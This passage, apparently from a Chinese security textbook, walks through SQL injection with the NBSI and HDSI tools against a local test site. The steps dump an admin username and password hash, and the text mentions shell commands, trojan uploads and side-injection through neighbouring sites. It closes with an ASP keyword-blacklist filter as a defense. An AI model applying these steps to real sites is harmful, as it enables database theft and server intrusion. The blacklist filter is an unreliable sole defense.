把漏洞地址http://127.0.0.1/veryzone/announce.asp? id=16输入到 “注入地址”下拉列表框中,然后单击“检测”按钮。没有检测到漏洞,“检测”按钮的标题变为“再检测”。这是因为漏洞页面在附加条件不成立时没有内容,所以 NBSI 不能自动判断结果。在“特征字符”文本框中输入在条件成立时的页面中,条件不成立时没有的字符串,程序可以通过返回的页面有无“特征字符”来判断检测结果,如图1-35所示。
图1-35 检测结果
如图1-36所示,在“特征字符”文本框中输入hero字符串,单击“再检测”按钮。
图1-36 特征字符
程序已经确定网页存在漏洞,这时“检测”按钮不可用,下面的“猜解表名”按钮变为可用。
如图1-37所示,单击“猜解表名”按钮,会提示“数据库类型为ACCESS,系统将启用字典进行猜解。如果字典文件比较大,会花费较长的时间,您确认进行猜解?”。
图1-37 NBSI提示信息
单击“确定”按钮,就会看到如图1-38所示的结果。
图1-38 结果
稍候,在“已猜解表名”列表框中显示 Y_admin,这是程序判断的数据库中有 admin表。单击该表名,“猜解列名”按钮变为可用。单击该按钮,程序会猜解admin表中的列名,如图1-39所示。
图1-39 猜解admin表中的列名
稍后,“已猜解列名”列表框中显示Y_id、Y_username和Y_password,说明admin表中有id、username和password这3个字段存在。
选择字段名复选框,“猜解数据”按钮变为可用。单击“猜解数据”按钮,程序开始猜解这3个字段的数据内容,如图1-40所示。
图1-40 猜解字段的数据内容
稍后,在“已猜解记录”列表框中显示一条记录,单击它会在下面的列表框中显示详细的数据内容:
[id]:8 [username]:admin [password]:7a57a5a743894a0e
用户名是admin,密码是7a57a5a743894a0e破解该密码的结果是admin。
(2)HDSI
HDSI 是教主(网络 ID)开发的一款免费的网页安全性能检测工具,其中集成多种功能,是一个SQL注入利器。
该工具可以自动扫描注入点、注入猜解数据内容、扫描网站后台登录地址,以及对PHP进行注入。如果漏洞页面使用SQL Server数据库,还可以让服务器执行DOS命令并上传asp木马文件。其界面如图1-41所示。
图1-41 HDSI界面
进入“注入分析”页面,在“注入地址”文本框中输入漏洞地址http://127.0.0.1/veryzone/announce.asp?id=16选择“使用关键字”复选框,在“关键字”文本框中输入“hero”。单击“开始”按钮,就开始检测漏洞。
程序提示检测完毕,如图1-42所示。单击表名下方的“猜解”按钮,程序提示“启动ACCESS数据库猜解,也许要多花点时间,是否继续猜表?”。单击“确定”按钮,程序开始猜解表名。
图1-42 猜解ACCESS数据库
稍候,“已猜解表名”列表框中显示admin表。单击表名,然后单击列名下的“猜解”按钮开始猜解列名。然后猜解数据库中的记录,如图1-43所示。
图1-43 猜解数据库中的记录
类似的工具还有阿D注入工具、CSC、WED及Domain。Domain是一个旁注工具,旁注是注入技术中的一个分支。其入侵的基本思路是网站的服务器一般会有多个网站,如果在目标网站上找不到注入漏洞,可以尝试入侵同一台服务器中的其他网站。如果通过其他网站中的漏洞控制服务器,相当于得到了这个网站的控制权。
1.1.9 如何防御SQL注入攻击
对于一个网站来说,SQL注入漏洞的危害是巨大的。
SQL 通用防注入系统的思路是把提交到页面的所有数据都过滤一遍, SQL 注入提交的数据的特征是会有 SQL 语句及一些 SQL 语言的关键字,比如“AND”、“UNION”及“SELECT”等字符串。只要在数据中有这些字符串,即可判定为SQL注入行为,而不会把这个数据作为SQL语句。
以下是笔者根据这个思路模仿SQL通用防注入系统编写的代码:
<% '--------定义部分------------------ Dim FangZhuPost,FangZhuGet,FangZhuIn,FangZhuInf,FangZhuXh '注释:自定义需要过滤的字串,用 "|" 分隔,如果读者发现遗漏,可以加上 FangZhuIn = "'|;|and|(|)|exec|insert|select|union|delete|update|count|*|%|chr|mid|master|truncate|char|declare" FangZhuInf=split(FangZhuIn,"|") ’注释:把非法字符串用“|”分割出来 '--------POST部分------------------ If Request.Form<>"" Then For Each FangZhuPost In Request.Form ’注释:循环取得提交的参数 For FangZhuXh=0 To Ubound(FangZhuInf) ’注释:全部转换成大写 If Instr(LCase(Request.Form(FangZhuPost)),FangZhuInf(FangZhuXh))<>0 Then ’注释:如果在数据中有非法字符串
Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>" Response.End End If Next Next End If '---------------------------------- '--------GET部分------------------- If Request.QueryString<>"" Then For Each FangZhuGet In Request.QueryString For FangZhuXh=0 To Ubound(FangZhuInf) If Instr(LCase(Request.QueryString(FangZhuGet)),FangZhuInf(FangZhuXh))<>0 Then Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>" Response.End End If Next Next End If %>
把这些代码保存在一个ASP文件中,比如fang.asp,并放在要防护的页面文件目录下。在要防护的页面开头加入一句<!-- #include file=“fang.asp” -->,保存并退出。
在浏览器中提交http://127.0.0.1/veryzone/announce.asp? id=16 and 1=1,显示如图1-44所示的提示框。
图1-44 提示框
如果参数中没有非法字符,页面可以正常显示,如图1-45所示。
图1-45 页面正常显示
这样可以杜绝SQL注入漏洞,不过这不是万全之策。因为这个代码是“通杀”的。即用户确实需要输入的一些数据会被作为非法字符串处理,这种情况目前还没有更好的办法来解决,只能让用户输入其他字符串来代替。